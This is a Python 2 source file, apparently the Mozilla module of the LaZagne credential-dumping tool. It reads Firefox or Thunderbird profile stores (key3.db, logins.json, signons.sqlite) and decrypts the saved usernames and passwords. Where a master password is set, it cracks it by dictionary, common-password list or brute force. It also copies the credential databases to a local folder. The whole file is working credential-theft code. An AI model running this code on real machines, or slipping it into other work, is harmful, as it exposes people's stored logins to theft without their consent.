#!/usr/bin/env python2
# Required files (key3.db, signongs.sqlite, cert8.db)
# Inspired from https://github.com/Unode/firefox_decrypt/blob/master/firefox_decrypt.py
# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) from https://github.com/lclevy/firepwd/blob/master/firepwd.py 

from lazagne.config.write_output import print_debug
from lazagne.config.moduleInfo import ModuleInfo
from lazagne.config.constant import *
from ConfigParser import RawConfigParser
from Crypto.Util.number import long_to_bytes 
from lazagne.config.dico import get_dico
from pyasn1.codec.der import decoder
from Crypto.Cipher import DES3
from binascii import unhexlify
from itertools import product
from base64 import b64decode
from struct import unpack
from hashlib import sha1
from ctypes import *
import sqlite3
import shutil
import json
import hmac
import os

# Database classes
database_find = False
class Credentials(object):
	def __init__(self, db):
		global database_find
		self.db = db
		if os.path.isfile(db):
			# check if the database is not empty
			f = open(db, 'r')
			tmp = f.read()
			if tmp:
				database_find = True
			f.close()
	
	def __iter__(self):
		pass
	
	def done(self):
		pass

class JsonDatabase(Credentials):
	def __init__(self, profile):
		db = profile + os.sep + "logins.json"
		super(JsonDatabase, self).__init__(db)
	
	def __iter__(self):
		if os.path.exists(self.db):
			with open(self.db) as fh:
				data = json.load(fh)
				try:
					logins = data["logins"]
				except:
					raise Exception("Unrecognized format in {0}".format(self.db))
				
				for i in logins:
					yield (i["hostname"], i["encryptedUsername"],	i["encryptedPassword"])

class SqliteDatabase(Credentials):
	def __init__(self, profile):
		db = profile + os.sep + "signons.sqlite"
		super(SqliteDatabase, self).__init__(db)
		self.conn = sqlite3.connect(db)
		self.c = self.conn.cursor()
	
	def __iter__(self):
		self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins")
		for i in self.c:
			yield i
	
	def done(self):
		super(SqliteDatabase, self).done()
		self.c.close()
		self.conn.close()


class Mozilla(ModuleInfo):
	# b = brute force attack
	# m = manually
	# d = default list
	# a = dictionary attack

	def __init__(self, isThunderbird = False):
		
		self.credentials_categorie = None	

		self.toCheck = []
		self.manually_pass = None
		self.dictionary_path = None
		self.number_toStop = None

		self.key3 = ''

		# Manage options
		suboptions = [
			{'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 'title': 'Advanced Mozilla master password options'},
			{'command': '-s', 'action': 'store', 'dest': 'specific_path', 'help': 'enter the specific path to a profile you want to crack', 'title': 'Advanced Mozilla master password options'}
		]
		
		if not isThunderbird:
			options = {'command': '-f', 'action': 'store_true', 'dest': 'firefox', 'help': 'firefox'}
			ModuleInfo.__init__(self, 'firefox', 'browsers', options, suboptions, need_to_be_in_env=False)
		else:
			options = {'command': '-t', 'action': 'store_true', 'dest': 'thunderbird', 'help': 'thunderbird'}
			ModuleInfo.__init__(self, 'thunderbird', 'browsers', options, suboptions, need_to_be_in_env=False)
	
	def get_path(self, software_name):
		path = ''
		if software_name == 'Firefox':
			path =  '%s\Mozilla\Firefox' % str(constant.profile['APPDATA'])
		elif software_name == 'Thunderbird':
			path = '%s\Thunderbird' % str(constant.profile['APPDATA'])
		return path
	
	def manage_advanced_options(self):
		if constant.manually:
			self.manually_pass = constant.manually
			self.toCheck.append('m')
		
		if constant.path:
			self.dictionary_path = constant.path
			self.toCheck.append('a')
		
		if constant.bruteforce:
			self.number_toStop = int(constant.bruteforce) + 1
			self.toCheck.append('b')
		
		# default attack
		if self.toCheck == []:
			self.toCheck = ['b', 'd']
			self.number_toStop = 3

	# --------------------------------------------

	def getShortLE(self, d, a):
		return unpack('<H',(d)[a:a+2])[0]

	def getLongBE(self, d, a):
		return unpack('>L',(d)[a:a+4])[0]

	def printASN1(self, d, l, rl):
		type = ord(d[0])
		length = ord(d[1])
		if length&0x80 > 0: #http://luca.ntop.org/Teaching/Appunti/asn1.html,
			nByteLength = length&0x7f
			length = ord(d[2])  
			#Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. 
			skip=1
		else:
			skip=0    

		if type==0x30:
			seqLen = length
			readLen = 0
			while seqLen>0:
				len2 = self.printASN1(d[2+skip+readLen:], seqLen, rl+1)
				seqLen = seqLen - len2
				readLen = readLen + len2
			return length+2
		elif type==6: #OID
			return length+2
		elif type==4: #OCTETSTRING
			return length+2
		elif type==5: #NULL
			# print 0
			return length+2
		elif type==2: #INTEGER
			return length+2
		else:
			if length==l-2:
				self.printASN1( d[2:], length, rl+1)
				return length   

	#extract records from a BSD DB 1.85, hash mode       
	def readBsddb(self, name):   
		f = open(name,'rb')
		
		#http://download.oracle.com/berkeley-db/db.1.85.tar.gz
		header = f.read(4*15)
		magic = self.getLongBE(header,0)
		if magic != 0x61561:
			print_debug('WARNING', 'Bad magic number')
			return False
		version = self.getLongBE(header,4)
		if version !=2:
			print_debug('WARNING', 'Bad version !=2 (1.85)')
			return False
		pagesize = self.getLongBE(header,12)
		nkeys = self.getLongBE(header,0x38) 

		readkeys = 0
		page = 1
		nval = 0
		val = 1
		db1 = []
		while (readkeys < nkeys):
			f.seek(pagesize*page)
			offsets = f.read((nkeys+1)* 4 +2)
			offsetVals = []
			i=0
			nval = 0
			val = 1
			keys = 0
			while nval != val :
				keys +=1
				key = self.getShortLE(offsets,2+i)
				val = self.getShortLE(offsets,4+i)
				nval = self.getShortLE(offsets,8+i)
				offsetVals.append(key+ pagesize*page)
				offsetVals.append(val+ pagesize*page)  
				readkeys += 1
				i += 4
			offsetVals.append(pagesize*(page+1))
			valKey = sorted(offsetVals)  
			for i in range( keys*2 ):
				f.seek(valKey[i])
				data = f.read(valKey[i+1] - valKey[i])
				db1.append(data)
			page += 1
		f.close()
		db = {}

		for i in range( 0, len(db1), 2):
			db[ db1[i+1] ] = db1[ i ]

		return db  

	def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData ):
		#see http://www.drh-consultancy.demon.co.uk/key3.html
		hp = sha1( globalSalt+masterPassword ).digest()
		pes = entrySalt + '\x00'*(20-len(entrySalt))
		chp = sha1( hp+entrySalt ).digest()
		k1 = hmac.new(chp, pes+entrySalt, sha1).digest()
		tk = hmac.new(chp, pes, sha1).digest()
		k2 = hmac.new(chp, tk+entrySalt, sha1).digest()
		k = k1+k2
		iv = k[-8:]
		key = k[:24]

		return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData)

	def extractSecretKey(self, globalSalt, masterPassword, entrySalt):

		(globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword)
		
		if unhexlify('f8000000000000000000000000000001') not in self.key3:
			return None
		privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ]
		saltLen = ord( privKeyEntry[1] )
		nameLen = ord( privKeyEntry[2] )
		privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] )
		data = privKeyEntry[3+saltLen+nameLen:]
		self.printASN1(data, len(data), 0)
		
		#see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt
		entrySalt = privKeyEntryASN1[0][0][1][0].asOctets()
		privKeyData = privKeyEntryASN1[0][1].asOctets()
		privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData )
		self.printASN1(privKey, len(privKey), 0)

		privKeyASN1 = decoder.decode( privKey )
		prKey= privKeyASN1[0][2].asOctets()
		self.printASN1(prKey, len(prKey), 0)
		prKeyASN1 = decoder.decode( prKey )
		id = prKeyASN1[0][1]
		key = long_to_bytes( prKeyASN1[0][3] )

		print_debug('DEBUG', 'key: %s' % repr(key))
		return key

	# --------------------------------------------
	
	# Get the path list of the firefox profiles
	def get_firefox_profiles(self, directory):
		cp = RawConfigParser()
		try:
			cp.read(os.path.join(directory, 'profiles.ini'))
		except:
			return []

		profile_list = []
		for section in cp.sections():
			if section.startswith('Profile'):
				if cp.has_option(section, 'Path'):
					profile_list.append(os.path.join(directory, cp.get(section, 'Path').strip()))
		return profile_list
	
	def save_db(self, userpath):
		
		# create the folder to save it by profile
		relative_path = constant.folder_name + os.sep + 'firefox'
		if not os.path.exists(relative_path):
			os.makedirs(relative_path)
		
		relative_path += os.sep + os.path.basename(userpath)
		if not os.path.exists(relative_path):
			os.makedirs(relative_path)
		
		# Get the database name
		if os.path.exists(userpath + os.sep + 'logins.json'):
			dbname = 'logins.json'
		elif os.path.exists(userpath + os.sep + 'signons.sqlite'):
			dbname = 'signons.sqlite'
		
		# copy the files (database + key3.db)
		try:
			ori_db = userpath + os.sep + dbname
			dst_db = relative_path + os.sep + dbname
			shutil.copyfile(ori_db, dst_db)
			print_debug('INFO', '%s has been copied here: %s' % (dbname, dst_db))
		except Exception,e:
			print_debug('DEBUG', '{0}'.format(e))
			print_debug('ERROR', '%s has not been copied' % dbname)
		
		try:
			dbname = 'key3.db'
			ori_db = userpath + os.sep + dbname
			dst_db = relative_path + os.sep + dbname
			shutil.copyfile(ori_db, dst_db)
			print_debug('INFO', '%s has been copied here: %s' % (dbname, dst_db))
		except Exception,e:
			print_debug('DEBUG', '{0}'.format(e))
			print_debug('ERROR', '%s has not been copied' % dbname)

	# ------------------------------ Master Password Functions ------------------------------
	
	def is_masterpassword_correct(self, masterPassword=''):
		try:
			#see http://www.drh-consultancy.demon.co.uk/key3.html
			pwdCheck = self.key3['password-check']	
			entrySaltLen = ord(pwdCheck[1])
			entrySalt = pwdCheck[3: 3+entrySaltLen]
			encryptedPasswd = pwdCheck[-16:]
			globalSalt = self.key3['global-salt']
			cleartextData = self.decrypt3DES( globalSalt, masterPassword, entrySalt, encryptedPasswd )
			if cleartextData != 'password-check\x02\x02':
				return ('', '', '')

			return (globalSalt, masterPassword, entrySalt)
		except:
			return ('', '', '')
	
	# Retrieve masterpassword
	def found_masterpassword(self):
		
		# master password entered manually
		if 'm' in self.toCheck:
			print_debug('ATTACK', 'Check the password entered manually !')
			if self.is_masterpassword_correct(self.manually_pass)[0]:
				print_debug('FIND', 'Master password found: %s' % self.manually_pass)
				return self.manually_pass
			else:
				print_debug('WARNING', 'The Master password entered is not correct')
		
		# dictionary attack
		if 'a' in self.toCheck:
			try:
				pass_file = open(self.dictionary_path, 'r')
				num_lines = sum(1 for line in pass_file)
			except:
				print_debug('ERROR', 'Unable to open passwords file: %s' % str(self.dictionary_path))
				return False
			pass_file.close()
			
			print_debug('ATTACK', 'Dictionary Attack !!! (%s words)' % str(num_lines))
			try:
				with open(self.dictionary_path) as f:
					for p in f:
						if self.is_masterpassword_correct(p.strip())[0]:
							print_debug('FIND', 'Master password found: %s' % p.strip())
							return p.strip()
			
			except (KeyboardInterrupt, SystemExit):
				print 'INTERRUPTED!'
				print_debug('DEBUG', 'Dictionary attack interrupted')
			except Exception,e:
				print_debug('DEBUG', '{0}'.format(e))

			print_debug('WARNING', 'The Master password has not been found using the dictionary attack')
		
		# 500 most used passwords
		if 'd' in self.toCheck:
			wordlist = get_dico() + constant.passwordFound
			num_lines = (len(wordlist)-1)
			print_debug('ATTACK', '%d most used passwords !!! ' % num_lines)

			for word in wordlist:
				if self.is_masterpassword_correct(word)[0]:
					print_debug('FIND', 'Master password found: %s' % word.strip())
					return word
				
			print_debug('WARNING', 'No password has been found using the default list')
		
		# brute force attack
		if 'b' in self.toCheck or constant.bruteforce:
			charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?'
			print_debug('ATTACK', 'Brute force attack !!! (%s characters)' %  str(constant.bruteforce))
			print_debug('DEBUG', 'charset: %s' %  charset_list)

			try:
				for length in range(1, int(self.number_toStop)):
					words = product(charset_list, repeat=length)
					for word in words:
						print_debug('DEBUG', '%s' %  ''.join(word))
						if self.is_masterpassword_correct(''.join(word))[0]:
							w = ''.join(word)
							print_debug('FIND', 'Master password found: %s' % w.strip())
							return w.strip()
			except (KeyboardInterrupt, SystemExit):
				print 'INTERRUPTED!'
				print_debug('INFO', 'Dictionary attack interrupted')
			except Exception,e:
				print_debug('DEBUG', '{0}'.format(e))

			print_debug('WARNING', 'No password has been found using the brute force attack')
		return False

	# ------------------------------ End of Master Password Functions ------------------------------
	
	# main function
	def run(self, software_name = None):
		global database_find
		database_find = False

		self.manage_advanced_options()
		
		specific_path = constant.specific_path
		
		# get the installation path
		path = self.get_path(software_name)
		
		#Check if mozilla folder has been found
		if not os.path.exists(path):
			print_debug('INFO', software_name + ' not installed.')
			return
		else:
			if specific_path:
				if os.path.exists(specific_path):
					profile_list = [specific_path]
				else:
					print_debug('WARNING', 'The following file does not exist: %s' % specific_path)
					return
			else:
				profile_list = self.get_firefox_profiles(path)

			pwdFound = []
			for profile in profile_list:
				print_debug('INFO', 'Profile path found: %s' % profile)
				if not os.path.exists(profile + os.sep + 'key3.db'):
					print_debug('WARNING', 'key3 file not found: %s' % self.key3)
					continue

				self.key3 = self.readBsddb(profile + os.sep + 'key3.db')
				if not self.key3:
					continue

				# check if passwords are stored on the Json format
				try:
					credentials = JsonDatabase(profile)
				except:
					database_find = False

				if not database_find:
					# check if passwords are stored on the sqlite format
					try:
						credentials = SqliteDatabase(profile)
					except:
						database_find = False
				
				if database_find:
					masterPassword = ''
					(globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword)
					
					# find masterpassword if set
					if not globalSalt:
						print_debug('WARNING', 'Master Password is used !') 
						masterPassword = self.found_masterpassword()
						if not masterPassword:
							continue
					
					# get user secret key
					key = self.extractSecretKey(globalSalt, masterPassword, entrySalt)
					if not key:
						continue

					# everything is ready to decrypt password
					for host, user, passw in credentials:
						values = {}
						values["URL"] = host

						# Login	
						loginASN1 = decoder.decode(b64decode(user))
						iv = loginASN1[0][1][1].asOctets()
						ciphertext = loginASN1[0][2].asOctets()
						login = DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext)
						# remove bad character at the end
						try:
							nb = unpack('B', login[-1])[0]
							values["Login"] = login[:-nb]
						except:
							values["Login"] = login
						
						# Password
						passwdASN1 = decoder.decode(b64decode(passw))
						iv = passwdASN1[0][1][1].asOctets()
						ciphertext = passwdASN1[0][2].asOctets()
						password = DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext)
						# remove bad character at the end
						try:
							nb = unpack('B', password[-1])[0]
							values["Password"] =  password[:-nb]
						except:
							values["Password"] =  password

						pwdFound.append(values)

			return pwdFound
